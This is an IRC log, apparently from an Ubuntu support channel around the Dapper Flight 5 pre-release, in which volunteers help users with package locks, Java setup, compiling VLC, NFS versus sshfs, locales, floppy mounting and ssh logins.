[09:04] <azurehuesofblue> Yokalosh, yah same here... multi head 5500
[09:04] <jemt> Ah yea, update-alternatives - thanks :)
[09:04] <savon> http://paste.ubuntu-nl.org/10355
[09:04] <gnomefreak> didnt know ubotu had it in him to know that lol
[09:04] <azurehuesofblue> jumbled junk on one screen.
[09:05] <_jason> savon: try your command again that gave you the error before
[09:05] <theine> savon: that looks fine
[09:05] <gnomefreak> wiki.ubuntu.com seach for dualdisplay
[09:05] <azurehuesofblue> k
[09:05] <gnomefreak> savon: looks good
[09:05] <savon> Yess now it woorks agien!
[09:05] <Yokalosh> azurehuesofblue: have you found ANYTHING?
[09:05] <savon> What was wrong_
[09:05] <gnomefreak> they needed to be refrreshed
[09:06] <savon> ok!
[09:06] <linuxcrazy> hey you guys, check out this cool computer forum. www.maximumpc.com/forum
[09:06] <Eubey> nickrud: now it says E: Could not get lock /var/lib/dpkg/lock - open (11 Resource temporarily unavail able)
[09:06] <Eubey> E: Unable to lock the administration directory (/var/lib/dpkg/), is another proc ess using it?
[09:06] <tristanmike> Eubey, close synaptic
[09:06] <nickrud> Eubey: may I pm you?
[09:06] <linuxcrazy> whoops www.maximumpc.com/forums check it out.
[09:06] <nickrud> Eubey: there's a couple other things, might take a bit.
[09:07] <azurehuesofblue> well yeah, I tried to edit my xorg.conf file a few time according to other examples, but then it said it couldn't find a screen on boot up... so, anyways, there is a backup file incase you mess it up... but... it's hard for a n00b lol
[09:07] <Gambit-> hrm
[09:07] <truz24> odd, i click on the torrent link and it starts downloading the iso of FLIGHT5
[09:07] <Eubey> nickrud: ya
[09:07] <Gambit-> can someone explain to me wtf mutt depends on /postfix/?!
[09:07] <ubuntu_kip> tristan
[09:07] <servjew> hola, mplayer keeps nagging me for a font. where are fonts ?
[09:07] <ubuntu_kip> howe do i burn the mac iso
[09:07] <linuxcrazy> are any of you guys on the MPC forums?
[09:07] <theine> truz24: that's how it should be, no?
[09:07] <Eubey> nickrud: i can see your pm, can you see mine?
[09:07] <HE1> Can any of you guys give me some help with getting my wifi to work? ( Im on a Acer Laptop , WIfi is a PCI Linksys wkpc54g v 4 ) I tried Ndiswrapper, but it want accept the inf file.
[09:07] <truz24> No, i should get the torrent file, its redirecting to the iso from a webserver
[09:07] <nickrud> Eubey: make it easier, join #ubuntu-offtopic
[09:08] <azurehuesofblue> Yokalosh, it's all about configuring your xorg.conf file right I believe. but no luck yet.
[09:08] <theine> truz24: the torrent file is directly passed to gnome-btdownload
[09:08] <savon> Know I have a new problem, I tied to install Ati in the week, it all seams to woork good, But after restart, X could not start!
[09:08] <bimberi> servjew: try the package called mplayer-fonts
[09:08] <FireGFX> can someone help me set up dual monitors?
[09:08] <truz24> I'm not in gnome, i'm in windows
[09:08] <truz24> its doing it on the server side
[09:08] <truz24> dapper-install-i386.iso.torrent is the link
[09:08] <savon> What can be wrong!
[09:08] <kbrooks> i want to review ubuntu. what in ubuntu shouldi review? BTW, this will hopefully be a non biased review...
[09:09] <theine> truz24: ah, ok
[09:09] <servjew> ah! right, i forgot about that one, thanks bimberi :)
[09:09] <truz24> and that link resolves to http://cdimage.ubuntu.com/releases/dapper/flight-5/dapper-install-i386.iso.torrent
[09:09] <truz24> but if you click it, it starts downloading the iso
[09:09] <truz24> instead of a torrent file
[09:09] <kbrooks> and i dont want to review dapper. its too unstable at the moment.
[09:09] <jemt> I have just exstracted the Java JDK in /opt/ - how do I register it so it is displayed in 'update-alternatives --config java' ?
[09:09] <gnomefreak> truz24: did you pick the torrent download?
[09:09] <truz24> yeah
[09:09] <_jason> ubotu: tell jemt about java
[09:09] <lowfi> dapper isn't unstable at all
[09:10] <truz24> try it from this page
[09:10] <truz24> http://cdimage.ubuntu.com/releases/dapper/flight-5/
[09:10] <theine> truz24: indeed
[09:10] <gnomefreak> lowfi: yes it is
[09:10] <truz24> kbrooks, I was just explained to that flight5 is stable.
[09:10] <sgrgc> ububuntu kubuntu
[09:10] <gnomefreak> lowfi: did you have any problems getting sound to work in ubuntu?
[09:10] <kbrooks> truz24, "dapper".
[09:10] <ftg2> jemt: its a lot easier if you add the multiverse repos, apt-get install java-package, and then use make-jpkg sun.bin.file to create a deb... then install the deb and update-alternatives
[09:11] <lowfi> ok your right, sound is a problem
[09:11] <truz24> kbrooks, what about it?
[09:11] <gnomefreak> lowfi: my point was i didnt have sound issues
[09:11] <Samineru> http://paste.ubuntu-nl.org/10357 I was installing pango when this happened
[09:11] <kbrooks> truz24, i said "dapper".
[09:11] <kbrooks> "i dont want to review dapper. its too unstable at the moment."
[09:12] <kbrooks> so, kuja.
[09:12] <kuja> Hm?
[09:13] <truz24> kbrooks, flight5 is pre-dapper
[09:13] <kbrooks> truz24, and?
[09:13] !lilo:*! Wheeeeee! Remember when we hit 30,000 users, but it wasn't official? We just hit about 30,027 in time for Gelhausen to mark it officially. In about an hour or two, the new record should appear on http://irc.netsplit.de/networks/details.php?net=freenode&point=days and we should be on a new graph scale in a day or so :)
[09:13] <kuja> Dapper is screwed for me :D
[09:13] !lilo:*! Kind of neat :)
[09:13] <kbrooks> truz24, you're telling me its stable?
[09:13] !lilo:*! Assuming some really quick dip didn't happen, we are definitely over the top
[09:13] <kuja> Hm, the reason why I can't use setkeycodes to appropriately let my Korean/English key work is I think because of some xorg.conf setting that I'm unaware of that may have changed in Dapper -_-
[09:14] !lilo:*! Kind of a nice feeling.
[09:14] <truz24> kbrooks, no, i'm saying that the other folks in here said it was stable.
[09:15] <kuja> Stable? Heh, there's like loads of packages coming in every hour or so.
[09:15] <_jason> how can I apply an awk command only to a particular range of lines?
[09:15] <savon> !ati
[09:15] <kuja> Coming in, and being updated.
[09:15] <ubotu> from memory, ati is https://wiki.ubuntu.com/BinaryDriverHowto/ATI or http://www.ubuntuforums.org/showthread.php?t=24557&page=1&pp=10 or http://ubuntuforums.org/showthread.php?p=423589
[09:15] <savon> !xorg
[09:15] <ubotu> xorg is, like, totally, To reconfigure your X server, type "sudo dpkg-reconfigure xserver-xorg" in a terminal, or check here: https://wiki.ubuntu.com/FixVideoResolutionHowto or here http://ubuntuforums.org/archive/index.php/t-83973.html
[09:15] <fromvega> Hello
[09:15] <kbrooks> truz24, well, i havent tried flight5 yet, and i dont want to install vmware server just to get a working flight5 installation.
[09:15] <fromvega> I have created some Virtual Hosts in Apache, and they are working fine in the local
[09:15] <fromvega> ops
[09:15] <nickrud> Samineru: you need libfontconfig1-dev ; you're gonna run into that a lot of those kinds of errors
[09:16] <truz24> Why do you have to install vmware server? whats wrong with vmware workstation?
[09:16] <GTX> ./setup.sh: line 143: 11644 Segmentation fault      "$setup" "$@" 2>>$NULL
[09:16] <GTX> The setup program seems to have failed on x86/glibc-2.1
[09:16] <GTX> How can I fix that?
[09:16] <fromvega> I have created some Virtual Hosts in Apache, and they are working fine when I try to access it from the same PC. But when I try to access the Virtual Hosts from another machine in the same local network, It does not work. What do I need to do to be able to access theses Virtual Hosts?
[09:16] <Samineru> nickrud would I be able to find that under synaptics?
[09:17] <nickrud> Samineru: yes
[09:17] <linuxcrazy> hey that worked!
[09:18] <linuxcrazy> where's the place to download the VLC package for Ubuntu?
[09:18] <_jason> linuxcrazy: universe
[09:18] <frank23> linuxcrazy: use synaptics (activate universe)
[09:18] <frank23> !tell linuxcrazy about sources
[09:19] <linuxcrazy> pleeeeeze i need to learn how to compile a package. now where do I get VLC
[09:19] <frank23> linuxcrazy: you don't need to compile it.
[09:19] <linuxcrazy> but I want to compile it!
[09:20] <frank23> linuxcrazy: ok then get it from the vlc webpage
[09:20] <linuxcrazy> I'm on the vlc now. I only see it for other distros
[09:20] <kingspawn> the source, for other distros?
[09:20] <savon> is there any terminalbased text editor?
[09:20] <_jason> linuxcrazy: you want the source
[09:20] <kingspawn> unlikely
[09:20] <frank23> linuxcrazy: download the source (tar.gz or something)
[09:20] <ftg2> savon: a couple dozen
[09:20] <zezu> Where are the gnome window manager settings at in ubuntu ? I want to change my desktop theme around a bit and noticed i dont know where its @ on ubuntu
[09:20] <_jason> savon: vim, nano are two
[09:20] <ftg2> savon: i like vim. before that i used jed
[09:21] <linuxcrazy> what's the difference betreen source and the program?
[09:21] <savon> Nice
[09:21] <frank23> savon: nano is easy to start with
[09:21] <kingspawn> linuxcrazy: source is .. the source code, the line by line "definition" of the program. the program is what you see when yuo start it up.
[09:21] <zezu> linuxcrazy, the source is text, its the makeup of how you create the application, it must be compiled into binary form to run executed
[09:21] <savon> ok, i think i need to reconfig xorg via the terminal!
[09:21] <ftg2> kingspawn: he doesn't undestand what compiling is.. makes explaining source a little difficult
[09:22] <jemt> I would prefer to install Java in a correct manner, but by installing fake-root and stuff like that as the Wiki tells me to. I have downloaded Java from SUNs website - is it possible to register the installation in update-alternatives so that I can make the VM the default intepretor on my system?
[09:22] <linuxcrazy> I see debian, mandrake and suse, but there's nowhere to download vlc Ubuntu
[09:22] <kingspawn> ftg2: true.. :)
[09:22] <jemt> but = not
[09:22] <nickrud> zezu: for themes, system-pref-themes
[09:22] <savon> it not whant to start x after the installation of ati!
[09:22] <zezu> nickrud, thx
[09:22] <_jason> linuxcrazy: link?
[09:22] <zezu> but i dont see a prefs.
[09:22] <sebastian> isnt the debian package working under ubuntu?
[09:22] <kingspawn> linuxcrazy: just look below them
[09:22] <fromvega> I have created some Virtual Hosts in Apache, and they are working fine when I try to access them from the same PC. But when I try to access the Virtual Hosts from another machine in the same local network, It does not work. What do I need to do to be able to access theses Virtual Hosts? Could you help-me?
[09:22] <kingspawn> it says "Source code"
[09:23] <frank23> linuxcrazy: look for the source code. it's not specific to a distrbution
[09:23] <nickrud> zezu: I was lazy - top menu bar, System->Preferences->Themes
[09:23] <savon> sebastina .deb is woorking!
[09:23] <zezu> err nvm i had removed it somehow from the menu
[09:23] <savon> now i gonna restart!
[09:23] <linuxcrazy> wait. do i have to install all of those other packages in order for vlc to work?!
[09:23] <sebastian> ok
[09:23] <ulisse> hello people
[09:24] <jaycee_N770> evening all.
[09:24] <kingspawn> linuxcrazy: by God, man, get vlc through synaptic. you are not ready for source code yet.
[09:24] <RustyJames> does somone nnow an mp3 player where it is possible to mark a part of the song and then play this part in loop?
[09:24] <frank23> linuxcrazy: not sure what you're talking about but you will need a bunch of packages just to compile it
[09:24] <_jason> linuxcrazy: the source will usually have an INSTALL and/or README file listing the dependencies you need
[09:24] <alteroo> linuxcrazy: is there a reason why u want to install? you dont seem to know alot about what you are doing?
[09:24] <ulisse> anybody knows if the wine issue have been fixed in dapper yet?
[09:24] <linuxcrazy> I'm sorry, I'm just a stupid n00b at this
[09:25] <frank23> linuxcrazy: it's way easier to just use synaptics to install it
[09:25] <CarinArr> ulisse, try #ubuntu+1
[09:25] <kingspawn> linuxcrazy: its a nice idea to get to know it, but you need a little bit more background before you set out to compile sourcecode
[09:25] <sebastian> linuxcrazy: just type apt-get install vlc
[09:25] <Eubey> join $ubtuntu+1
[09:25] <linuxcrazy> I just want to learn how to install from a compiler.
[09:25] <alteroo> linuxcrazy: so why do you want to install from source? get the deb from synaptic
[09:25] <ulisse> CarinArr, never heard about, I'll check ;)
[09:25] <zezu> nickrud, themes are just GTK themes or are GNOME themes or ?
[09:25] <linuxcrazy> you guys learned.
[09:25] <CarinArr> ulisse, that's where dapper questions go:)
[09:25] <linuxcrazy> i need to learn this stuff
[09:25] <ulisse> ty
[09:25] <jaycee_N770> Does anyone do /home sharing (and other partitions) across anything other than NFS? I'm trying to plan the storage across my home 5+ box network ...
[09:25] <kingspawn> linuxcrazy: in a while :)
[09:25] <sebastian> i most cases its just ./condigure , make , make install
[09:26] <truz24> Someone fixed the torrent link :-)
[09:26] <truz24> thanks whoever fixed it
[09:26] <void^> manual install is simple, just configure ; make ; make install. now manual uninstall is the real hassle ;)
[09:26] <_jason> linuxcrazy: if you have the source repos for universe enabled you can just issue the 'apt-get source vlc' command to get the source and then compile that
[09:26] <nickrud> zezu: gtk themes are the contents inside the window (controls) window border is the border :) and icons are icons. Together, they make a gnome theme
[09:26] <frank23> void^: substitute make install for checkinstall  (creates a .deb and installs it)
[09:27] <sebastian> frank: thats what i wanted to add
[09:27] <zezu> ok, i know i downloaded a file from freshmeat themes and it said the file format was invalid, so i assumed it was the wrong type for gnome
[09:27] <zielony> How can I upload whole folder to a server, using console 'ftp' ?
[09:27] <jaycee_N770> Anyone do /home sharing across multiple machines?
[09:27] <zezu> the "themes" on the gnome site are nothing more than png files ;|
[09:28] <zezu> some of them anyways
[09:28] <jemt> Is it possible to make 'java' point to /opt/jdk1.5/bin/java ? That would, I guess, count for a "real" java installation. Also I need to point NetBeans to that location, but I think I can handle that
[09:28] <kingspawn> zielony: put?
[09:28] <nickrud> zezu: you want gtk themes, metacity (window border) themes and icon themes. (and yes, some come out badly in my experience, too)
[09:28] <zielony> but put dont work with folder
[09:29] <GURT> can someone help me get java working in firefox? i installed java from http://users.lichtsnel.nl/~seveas/dists/breezy-seveas/java/
[09:29] <kingspawn> zielony: put -R?
[09:29] <painkiler> hey guys
[09:29] <_jason> GURT: what version of firefox?
[09:29] <painkiler> how do i give premisson to users so they can view an ntfs hdd?
[09:29] <_jason> ubotu: tell painkiler about ntfs
[09:29] <GURT> _jason: 1.5.0.1
[09:29] <frank23> jemt: why don't you just follow the wiki instructions for java. It's better to install a .deb if you can
[09:29] <_jason> ubotu: tell GURT about ff1.5
[09:29] <sebastian> painkiler: via fstab?
[09:29] <painkiler> ? donno
[09:30] <_jason> GURT: just do the plugin step on that wiki page (you just symlink to your firefox1.07 plugins directory)
[09:30] <painkiler> ill work on it
[09:30] <sebastian> painkiler; wait a second
[09:30] <zielony> ftp> put -R
[09:30] <zielony> remote: -R
[09:30] <zielony> local: -R: No such file or directory
[09:30] <zielony> kingspawn:
[09:30] <jemt> frank23: Why is it better? What happens when Java 5 Update 7 is released? Then I haft to wait weeks - maybe months - before a .deb is produced
[09:31] <Samineru> nickrud thanks, that worked
[09:31] <ftg2> jemt: this is not exactly what you are looking for, but you can add the path to the java binaries to PATH before the location of the other java installation(s).. i agree with frank23 though. follow the wiki instructions, create a deb. saves a lot of hassel
[09:31] <_jason> jemt: no, because you create the .deb
[09:31] <frank23> jemt: no, you can make a .deb from the .bin if you follow the instructions
[09:31] <kingspawn> zielony: okay. here's what you do, to get a real ftp client: apt-get install ncftp
[09:31] <kingspawn> and then start ncftp
[09:31] <sebastian> painkiler: im not sure, in my fstab it looks like this  /dev/xxx/ media/xxx ntfs uid=1000,gid=1000,       0       0
[09:31] <painkiler> its ok
[09:31] <painkiler> i just got the auto script
[09:31] <zielony> kingspawn: but I have to upload it from ssh, I can`t install anything there, dont have root acces
[09:31] <jemt> ftg2, _jason, frank23: Yeah, true - I can create it my self - but why should I? I should be possible to install the software from SUN
[09:31] <sebastian> ok
[09:31] <GURT> _jason: bash: cd: /opt/firefox/plugins/: No such file or directory
[09:32] <_jason> GURT: change it to wherever you installed firefox1.5
[09:32] <ftg2> jemt: hehe. believe me its easy. i did it in 10 mins on this laptop before class. needed javac running for the lab ;)
[09:32] <lowfi> painkiller: i think the default for ntfs mount is +rx for all users, so it should work
[09:32] <jemt> And it IS possible - I have the VM extracted to my /opt/ directory now. I just don't want to type in '/opt/java/bin/java myProgram' each time I want to test one of my programs
[09:32] <ardchoille> Any truth to the rumor of a 6 week delay of stable release?
[09:32] <Enthusiast78> I'm trying to run something from the console to display a message on the X session... I'm starting with 'DISPLAY=:0.0 gedit /tmp/textfile.txt' but maybe somebody know another application that does just that task...
[09:32] <sebastian> I have a strange Bug running  Looking glass lg3d-app, anyone knows about it?
[09:33] <jemt> ftg2: I just don't feel it's the right way of doing it
[09:33] <_jason> jemt: then make a symlink to that somewhere in your PATH
[09:33] <savon> online agien, but it starts with a x dont whanna start thing agien
[09:33] <savon> huuuu
[09:33] <Enthusiast78> I'd like something like 'DISPLAY=:0.0 xpopup Blah, blah, blah...'
[09:33] <frank23> jemt: because in a debian based distribution, it's always better to install with apt or dpkg. the system then knows what you have installed
[09:34] <Enthusiast78> Or if somebody know how to open gedit with some text from the command line... ???
[09:34] <jemt> _jason: I just realised that it's not a good solution. If I start a program from Gnome it will probably stille be intepreted by the old version
[09:34] <HedgeMage> ardchoille: There was a meeting to debate it a couple of days ago, I have no clue what was decided in the end, though, as I went to bed.
[09:34] <Enthusiast78> I have tried 'echo "Some text" | gedit -' but it didn't work... :(
[09:34] <jemt> frank23: Makes sense
[09:34] <GURT> _jason: thanks.
[09:34] <gnomefreak> Enthusiast78: you mean just to start gedit or to edit a file?
[09:35] <jemt> Oh well, guess I haft to create the .deb - thanks guys
[09:35] <_jason> jemt: how come?
[09:35] <ardchoille> HedgeMage: Good to hear from you :)
[09:35] <jemt> !java
[09:35] <nagyv> anyone familiat with the low id problem of amule? I know what it means, but don't know how to solve the problem.
[09:35] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[09:35] <sebastian> gedit should not be able to run without x
[09:35] <void^> nagyv: open the ports.
[09:35] <sebastian> use nano
[09:35] <gnomefreak> sebastian: it cant you have to have gnome
[09:35] <nagyv> void^: how?
[09:35] <jemt> _jason: Don't know really. Just a thought. How should a symlink keep my programs from running in the old VM?
[09:35] <ncp> what should i choose i locals UTF-8 or ISO-8859? and what is the difference?
[09:35] <ardchoille> HedgeMage: PM?
[09:35] <ftg2> jemt: changing the PATH will work in the short run.. for a long time, before i would start writing code, i would cd in to the jdk bin dir and export PATH=`pwd`:$PATH ... etc
[09:35] <sebastian> ok
[09:36] <jemt> _jason: But it dosn't matter. I'm gonna download Seveas .deb now
[09:36] <_jason> jemt: just put it earlier in your path or get rid of the old one if you really want.  But I really think the .deb is the better option :)
[09:36] <void^> nagyv: if you're behind a router, forward them to your local pc. check your local iptables firewall (try firestarter for simplicity)
[09:36] <jemt> _jason: Thanks - I'll go with the .deb then :)
[09:36] <jemt> !java
[09:36] <ubotu> To install Java/Sun Java see Java on https://wiki.ubuntu.com/RestrictedFormats and also see !javadebs
[09:36] <HedgeMage> ardchoille: sure
[09:37] <frank23> jemt: yeah the seveas .deb is probably made with make-jpkg so you get the same result as making it yourself
[09:37] <Seveas> frank23, almost
[09:37] <ncp> what is the difference between UTF-8 and ISO-8859? what should i choose in my locals to get the correct charset?
[09:37] <frank23> Seveas: it's not the same?
[09:37] <Seveas> I patched make-jpkg to not make the package depend on specific versions of libraries
[09:38] <Seveas> so the packages don't generate dependency errors on dapper/breezy/warty/hoary/sid etc...
[09:38] <Seveas> such errors would be quite bogus
[09:38] <frank23> Seveas: ok. so only the dependencies change.
[09:38] <nickrud> ncp: iso 8859 are european characters ; utf8 has the ability to display just about any language, living or dead
[09:38] <Seveas> frank23, correct
[09:39] <jaycee_N770> Anyone got an opinion on the "best" way to mount a filesystem over ssh?  sftp? sshfs? FUSE?
[09:39] <raindog> When using the ubuntu partioning tool to resize my ntfs partition to make room for ubuntu the partitioning tool doesn't appear to do anything, but return to the previous menu.  On my win2k box the tool resized the ntfs without any troulble.  Can anyone help?
[09:39] <EvilDin> anyone here know merak mail server?
[09:39] <Seveas> jaycee_N770, the only way to really mount it is sshfs, which is a FUSE module
[09:39] <Seveas> jaycee_N770, generally i use mc for sftp transfers
[09:39] <Seveas> or nautilus sftp://
[09:40] <jemt> Seveas: Is that good or bad? Does it mean I will be running on old libraries? (Java)
[09:40] <jaycee_N770> Thanks. I found shfs, but it seems out of date
[09:40] <Seveas> jemt, it's good - dh_shlibdeps is a bit too tight in this case
[09:40] <jaycee_N770> I'm looking for a general system-wide solution.
[09:40] <Seveas> jaycee_N770, then you should seriously look at NFS instead
[09:41] <jaycee_N770> Is FUSE mature enough?
[09:41] <frank23> jemt: the files in the package are the same. the same package can be installed on different versions of ubuntu. it's more flexible but exactly the same in the end
[09:41] <Seveas> I consider it mature enough
[09:41] <jaycee_N770> I'm aware of NFS and I've always found performance sucks ...
[09:41] <Seveas> never had problems with sshfs
[09:42] <Seveas> NFS performance is quite ok if you tweak it enough
[09:42] <Seveas> default NFS parameters in linux suck big time
[09:42] <jaycee_N770> Seveas,  thanks. I'll give FUSE a go.
[09:42] <C-O-L-T-AWAY> Can I install GNOME 2.14 under Breezy?
[09:42] <jemt> Seveas: Ok, sounds great :)
[09:42] <Seveas> C-O-L-T-AWAY, probably not
[09:43] <C-O-L-T-AWAY> Seveas: why?
[09:43] <richard> how can i restart apache services?
[09:43] <Seveas> C-O-L-T-AWAY, if you want gnome 2.14: go with dapper - it's mature and stable enough for everyday use
[09:43] <Seveas> richard, sudo invoke-rc.d apache2 restart
[09:43] <apokryphos> richard: /etc/init.d/apache2 restart
[09:43] <apokryphos> or that
[09:43] <jaycee_N770> Seveas, just one more - any opinion on which one integrates with ubuntu /and/ LDAP best?
[09:43] <frank23> what is the difference between sun java and blackdown java?
[09:43] <nagyv> void^: I started Firestarter, but there are no banned activities at all. My friends can use eMule in the college, so probably the routers are set up right. Do you have any other ideas?
[09:43] <jind> When is Dapper out?
[09:43] <C-O-L-T-AWAY> Seveas: I should wait till the official release
[09:43] <jind> Aproxemately?
[09:43] <apokryphos> frank23: sun are propietary java packages by sun; blackdown...are not :)
[09:43] <Seveas> jaycee_N770, never having used ldap I really can't say
[09:44] <apokryphos> frank23: most applications are friendlier when run with sun java
[09:44] <jaycee_N770> how about /just/ ubuntu, then? :-)
[09:44] <savon> why is my internet slower on linux?
[09:44] <frank23> apokryphos: yes but they both are sun java's right?
[09:44] <apokryphos> jind: April
[09:44] <Seveas> jaycee_N770, equal
[09:44] <jaycee_N770> ta
[09:44] <apokryphos> jind: some talk of 6-week delay however; sit tight for new news :)
[09:44] <Seveas> point is that sshfs is per-user, if I mount it, even root cannot access it
[09:44] !lilo:*! http://irc.netsplit.de/networks/details.php?net=freenode&point=days has the record :)
[09:44] <Seveas> which can be good or bad depending on your wishes
[09:45] <jaycee_N770> good point
[09:45] <jind> I have heard that too. Just wasn't sure when it was scheduled
[09:45] <Seveas> NFS means you need to synchronise users
[09:45] <simon__> weird keyboard problem. Get intermittant functionality on the client keyboard. starts with appearing disabled at gnome desktop manager, then suddnely starts working after hitting lots of keys. any thoughts. i know keyboard is fine as works ok on staright edubuntu system
[09:45] <jind> I want it to be mature when it arrives. So: good news :)
[09:45] <jaycee_N770> .. but if i base uids on ldap, it might be doable ...
[09:45] <Seveas> I'm very fond of NFS+NIS in a cluster setup, but for my home setup I'd rather use sshfs
[09:45] <frank23> jind: the proposed delayed release is for June 1st
[09:45] <Seveas> yeah, with ldap NFS shouldn't be a problem
[09:46] <jind> nfs is niiiice
[09:46] <jaycee_N770> cool - i'll give them both a go ... :-)
[09:46] <jind> No access control though
[09:46] <jind> Just ro or rw access. But it works well here
[09:46] <jaycee_N770> jind: NFS, you mean?
[09:46] <Seveas> jind, access control is just file permissions
[09:46] <jind> jaycee_N770: sure
[09:47] <Seveas> it works very similar to a local disk 
[09:47] <jaycee_N770> I thought it was just normal octal permissions?
[09:47] <Seveas> jaycee_N770, yeah
[09:47] <richard> Seveas, apokryphos: this is the text which appear http://paste.ubuntu-nl.org/10358
[09:48] <Enthusiast78> gnomefreak, All I need is to display a message on X, like a 'popup'.
[09:48] <Seveas> richard, you probably installed both apache and apache2, remove one of them.
[09:48] <jaycee_N770> great - i'll give them a go ...
[09:48] <Seveas> richard, nvm, i looked wrong
[09:48] <Seveas> richard, use sudo.
[09:48] <wastrel> yay
[09:48] <wastrel> Enthusiast78:  xmessage
[09:48] <aleitner> Is there a way (kernel boot parameter, or so) to disable kernel preemption, without the need to recompile the kernel?
[09:49] <wastrel> Enthusiast78:  also gmessage if you use gtk/gnome
[09:49] <raindog> I'm trying to mount my floppy drive.  Can someone assist me?
[09:49] <Blissex> raindog: yes.
[09:49] <jemt> !Seveas
[09:49] <ubotu> Seveas has a semi-popular 3rd party repository for several packages. More info (and mirrors) on http://wiki.ubuntu.com/SeveasPackages
[09:50] <instabin> !wifi
[09:50] <ubotu> from memory, wifi is https://wiki.ubuntu.com/WiFiHowto
[09:50] <Seveas> !jemt
[09:50] <ubotu> Wish I knew. Try searching at http://ubuntu.cc.com.au/, Seveas
[09:50] <kingspawn> Blissex: dont you just love those kinds of answers? :)
[09:50] <apokryphos> s/semi/very/ :)
[09:50] <raindog> blissex:  I had it mounted and now it is no longer mounted.  I see it listed in fstab but am unsure what change to make for it to mount, permanently.
[09:50] <Seveas> !forget problem
[09:50] <ubotu> i forgot problem, Seveas
[09:50] <apokryphos> Seveas: any stats on bandy usage?
[09:51] <Blissex> kingspawn: yes :-)
[09:51] <kingspawn> raindog: why would you want your floppy to be mounted permantenly?
[09:51] <Seveas> apokryphos, not publicly accessible
[09:51] <Seveas> !ban cusco
[09:51] <ubotu> What? Try searching at http://ubuntu.cc.com.au/, Seveas
[09:51] <kingspawn> permanently, that is.
[09:51] <apokryphos> Seveas: you should put some up; it would be interesting :)
[09:51] <kYd> hey, which WM is the lightest on resources and space out of gnome,kde or xfce?
[09:51] <techrush> xfce
[09:51] <HedgeMage> kYd: xfce
[09:51] <Blissex> raindog: '/etc/fstab' is for _potential_ mounts. Actual mounts are in '/etc/mtab'.
[09:51] <raindog> kingspawn:  well, to mount it and to have it unmounted after a reboot is a pain.  So, perhaps not permanently, but consistent for the user logged in
[09:52] <kYd> ok thanks...ive got kde atm but it seems sluggish on my laptop
[09:52] <HedgeMage> kYd: of course, if you want *really* light you can go to fluxbox, or fvwm
[09:52] <Blissex> raindog: problem is, if you mount it permanently it must be always the same floppy and you cannot take it out.
[09:52] <ftg2> kYd: i was always a big fan of WindowMaker and that NEXTish look
[09:52] <kYd> i dont really like the look of fluxbox tho
[09:52] <ftg2> kYd: anyways, its pretty lightweight
[09:53] <adam_> Help - I just upgraded to Breezy the other day and now I don't have any sound - at all
[09:53] <kYd> i havnt heard of them ftg2, ill take a loook
[09:53] <kingspawn> raindog: in linux, things must be unmounted before they are removed
[09:53] <Blissex> kYd: I have got excellent ''make KDE faster'' page.
[09:53] <kingspawn> raindog: therefore it makes sense to mount it when you have inserted a new floppy, and unmount it when you remove it
[09:53] <kYd> could you post the link peakse blissex
[09:53] <kYd> *please
[09:53] <Blissex> kYd: yes :-)
[09:53] <kYd> thx
[09:53] <raindog> kingspawn:  so I have to go to the cli every time I put in a new floppy and tell it to mount every timne?
[09:54] <kbrooks> nalioth, well, is there a "how to help other ubuntu users" guide or something?
[09:54] <kYd> cheers
[09:54] <apokryphos> kbrooks: there's a guide to IRC + rules on the wiki if you want to check it out
[09:54] <Blissex> raindog: no, there are easy point-and-click methods of mounting/unmounting from the file explorer...
[09:54] <kingspawn> raindog: a little script will perform it for you very fast
[09:54] <ftg2> kYd: www.windowmaker.org, if you were interested in giving that a spin.
[09:54] <kbrooks> apokryphos, hehe ok i'll settle witth that. IrcRules ?
[09:54] <Blissex> raindog: if you use GNOME or KDE it is pretty similar.
[09:55] <ubushine> anyone use terminal to start apps and get this error message: "Gtk-WARNING **: Locale not supported by C library"
[09:55] <kYd> cheres ftg2, ill take a look
[09:55] <nalioth> kbrooks: that is it
[09:55] <raindog> blissex kingspawn:  okay, I don't have it mounted currently.  What is the command to mount it?  Then after that I can just enter the file manager and select it to mount/unmount?
[09:55] <gnomefreak> fairly good reading too
[09:55] <jind> kde is the way everything else is gay
[09:55] <jind> Just kidding ;)
[09:55] <Blissex> raindog: you can just mount/unmount from the file manager usually, depending which one you use.
[09:55] <albacker> gnome rox
[09:56] <jke> rox rox ^o)
[09:56] <jind> I really like konqueror with the plugins it provides
[09:56] <Seveas> desktop wars > /dev/null
[09:56] <jind> like imdb: name of movie
[09:56] <ubushine> anyone know how to set (reset) localization?
[09:56] <zF> Hi
[09:56] <Blissex> raindog: or with KDE (but I think also with GNOME) you can have a desktop icon that if you click on it mounts, click again unmounts.
[09:56] <kingspawn> raindog: or mount /dev/<device> /media/floppy - or wherever you like
[09:56] <zF> I'm trying to ssh into my ubuntu box
[09:56] <alteroo> Seveas: your everywhere :-D
[09:56] <Seveas> ubushine, sudo dpkg-reconfigure locales
[09:56] <jind> audiocd:/ for metadirectories with mp3, ogg, flac and the like
[09:56] <Blissex> ubushine: dpkg-reconfigure locales
[09:56] <einand_> can ubuntu installations program rezise an NTFS partion?
[09:56] <jemt> Seveas: Are you an Ubuntu developer or "just" a package contributer and support?
[09:56] <ubushine> Seveas, ya? thanks
[09:57] <meheren> hey guys i want to do a fresh install on my windows/ubuntu machine about how long ya think it will take? what i plan to do is simply reformat the ubuntu partition (9gb of info on it...) and reinstall the ubuntu os
[09:57] <zF> But when I run ssh <my host address> it returns "aeqitas@<host>'s password" when the usernmae on that machine is veritas
[09:57] <Seveas> jemt, why would that matter?
[09:57] <jemt> Seveas: Seems to me that you do quite a job in here :)
[09:57] <zF> so natuarally i can't log into my server
[09:57] <zF> What is going on?
[09:57] <Seveas> einand_, yes it can
[09:57] <zF> I didn't touch anything on it
[09:57] <jemt> Seveas: I'm just currious
[09:57] <Blissex> meheren: depending on how fast your disk/CD are. Something like 30-40 minutes is typical.
[09:57] <alteroo> meheren: how fast much memory and processing power you have?
[09:57] <einand_> Seveas: without datalost
[09:57] <Seveas> zF, ssh your_username_ther@host
[09:57] <Seveas> einand_, yes
[09:57] <meheren> well it's a dell insprion 8600
[09:57] <jind> meheren: if you have a normally fast computer you should only need an hour, maybe two, depending how well you know what to do
[09:57] <einand_> Seveas: the same for kubuntu i think, i thinking about trying that
[09:58] <meheren> i got 2.8gigherzz of proceins power
[09:58] <Seveas> einand_, they use the same installer
[09:58] <zF> Seveas, why do I just now have to start doing this?
[09:58] <NickGarvey> would the x-server allow me to run one computer in text mode, and have a client run the x-windows-server on that machine; sort of like VNC, but have the host computer be in text mode?
[09:58] <meheren> jind, ive done it on about 15-20 computers...
